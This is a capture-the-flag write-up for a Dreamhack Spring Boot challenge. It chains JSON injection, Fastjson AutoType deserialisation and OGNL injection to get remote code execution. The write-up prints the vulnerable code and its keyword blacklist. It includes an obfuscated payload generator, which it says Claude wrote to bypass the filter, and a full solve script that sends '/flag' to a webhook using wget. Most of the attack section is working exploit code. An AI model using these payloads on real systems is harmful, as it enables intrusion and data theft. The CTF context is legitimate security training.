Invitation

05 Dec 2026
620 words

This challenge involves a Spring Boot web application.

The free chall hint gives us a big clue about the intended solve path.

The Dockerfile copies the flag file to the root directory, and it isn't referenced anywhere in the source code, so we can infer that we are meant to attain LFI or RCE to retrieve the flag.

dockerfile
COPY ./deploy/flag /
COPY ./deploy/Invitation-0.0.1-SNAPSHOT.jar .

The application enables Fastjson AutoType globally, which allows JSON input to specify the Java class to be instantiated through the @type property.

If we are able to control JSON input, we would be able to reference an exploitable class during the deserialisation and attain RCE.

java
@SpringBootApplication
public class InvitationApplication {

    public static void main(String[] args) {
        ParserConfig.getGlobalInstance().setAutoTypeSupport(true);
        SpringApplication.run(InvitationApplication.class, args);
    }

}

An InvalidKeyException class is provided, and implements an extensive blacklist that attempts to filter out RCE-related keywords. InvalidKeyException also calls Ognl.parseExpression() on a user-supplied message, tying back to the OGNL injection mentioned in the hint from earlier.

Based on these, we can assume that this is the class we are meant to exploit. We can trace the directory layout to get the full classpath as com.ctf.invitation.invitation.exception.InvalidKeyException.

java
public class InvalidKeyException {

    private String message;
    private static char[] denyCharList = {'@', '+', '~', '!','<', '%', 'j', 'T'};
    private static String[] denyKeywordList = {"\\u", "\\x", "0x", "not", "true", "false", "null", "Runtime", "Process", "File", "Path", "concat", "charAt", "parseInt", "toChars", "toString", "invoke", "start", "eval"};

    private static boolean detectUnsafeInput(String msg){
        for(char c : denyCharList){
            if(msg.indexOf(c) != -1){
                return true;
            }
        }

        for(String k : denyKeywordList){
            if(msg.indexOf(k) != -1){
                return true;
            }
        }

        return false;
    }

    public void setMessage(String msg) {
        try{
            this.message = msg;
            if (detectUnsafeInput(msg)){
                this.message = "#e=\"Invalid Key Exception\"";
            }
            OgnlContext ctx = new OgnlContext();
            Object expr = Ognl.parseExpression(this.message);
            Object value = Ognl.getValue(expr, ctx);
            System.out.println("Value: " + value);

        }catch (OgnlException e){
            e.printStackTrace();
        }
    }

    public String getMessage() {
        return this.message;
    }

}

InvitationController.java defines a /write endpoint, where we can immediately spot the sink we need.

/write directly interpolates user-supplied host, date, location and description fields into a JSON string to be parsed, without any sanitisation. This gives us the JSON injection we need.

java
@PostMapping("/write")
    public String write(@RequestParam("host") String host,
                        @RequestParam("date") String date,
                        @RequestParam("location") String location,
                        @RequestParam("description") String description,
                        Model model) {
        try {
            String object = String.format("{\"host\": \"%s\", \"date\": \"%s\", \"location\": \"%s\", \"description\": \"%s\"}", host, date, location, description);
            JSONObject obj = JSON.parseObject(object);
            model.addAttribute("host", obj.get("host"));
            model.addAttribute("date", validateDateFormat(obj.get("date").toString()));
            model.addAttribute("location", obj.get("location"));
            model.addAttribute("description", obj.get("description"));
        ...

Inside the description field, we are able to break out of the string and include @type and message fields.

Fastjson processes the @type property and instantiates InvalidKeyException using the injected message field, giving us OGNL injection.

text
x","@type": "com.ctf.invitation.invitation.exception.InvalidKeyException", "message": "<ognl payload>

I got Claude to tank the filter bypass and it came up with this obfuscated payload generator that achieves RCE.

python
def obf_str(s):
    return "new String(new char[]{%s})" %  ",".join(str(ord(c)) for c in s)

def build_payload(cmd):
    payload = [
        f'#a={obf_str("java.lang.Runtime")}',
        f'#b={obf_str("java.beans.Expression")}',
        f'#c={obf_str("getRuntime")}',
        '#ctt="".getClass().forName(#b)',
        '#fctt=#ctt.getConstructors()[0]',
        '#target1="".getClass().forName(#a)',

        '#arr1=new String[0]',
        '#expr1=#fctt.newInstance(#target1,#c,#arr1)',

        '#rt=#expr1.getValue()',
        f'#sh={obf_str("/bin/sh")}',
        f'#dashc={obf_str("-c")}',
        f'#cmd={obf_str(cmd)}',
        '#cmdarr=new String[]{#sh,#dashc,#cmd}',
        f'#ec={obf_str("exec")}',
        '#arr2=new Cloneable[1]',
        '#arr2[0]=#cmdarr',
        '#expr2=#fctt.newInstance(#rt,#ec,#arr2)',
        '#fp=#expr2.getValue()',
    ]

    payload = ','.join(payload).replace('"', '\\"')

    return f'x","@type": "com.ctf.invitation.invitation.exception.InvalidKeyException", "message": "{payload}'

Since the result of the OGNL expression is only outputted server-side, we can simply redirect the RCE output to a webhook.

bash
wget -qO- --post-data="$(cat /flag)" <webhook url>

Below is my full solve script for this challenge.

python
import requests

url = 'http://host3.dreamhack.games:19259/'
s = requests.Session()

def obf_str(s):
    return "new String(new char[]{%s})" %  ",".join(str(ord(c)) for c in s)

def build_payload(cmd):
    payload = [
        f'#a={obf_str("java.lang.Runtime")}',
        f'#b={obf_str("java.beans.Expression")}',
        f'#c={obf_str("getRuntime")}',
        '#ctt="".getClass().forName(#b)',
        '#fctt=#ctt.getConstructors()[0]',
        '#target1="".getClass().forName(#a)',

        '#arr1=new String[0]',
        '#expr1=#fctt.newInstance(#target1,#c,#arr1)',

        '#rt=#expr1.getValue()',
        f'#sh={obf_str("/bin/sh")}',
        f'#dashc={obf_str("-c")}',
        f'#cmd={obf_str(cmd)}',
        '#cmdarr=new String[]{#sh,#dashc,#cmd}',
        f'#ec={obf_str("exec")}',
        '#arr2=new Cloneable[1]',
        '#arr2[0]=#cmdarr',
        '#expr2=#fctt.newInstance(#rt,#ec,#arr2)',
        '#fp=#expr2.getValue()',
    ]

    payload = ','.join(payload).replace('"', '\\"')

    return f'x","@type": "com.ctf.invitation.invitation.exception.InvalidKeyException", "message": "{payload}'

webhook = 'https://bdvbfek.request.dreamhack.games'
cmd = 'cat /flag'
cmd = 'wget -qO- --post-data="$(%s)" %s' % (cmd, webhook)

res = s.post(f"{url}/write", data={
    "host": "x",
    "date": "2026-01-01",
    "location": "x",
    "description": build_payload(cmd)
})

print("> Sent payload")

Flag: DH{an0ther_exec()_here:GHTFM4ZbpEOR0rK94dEvUQ==}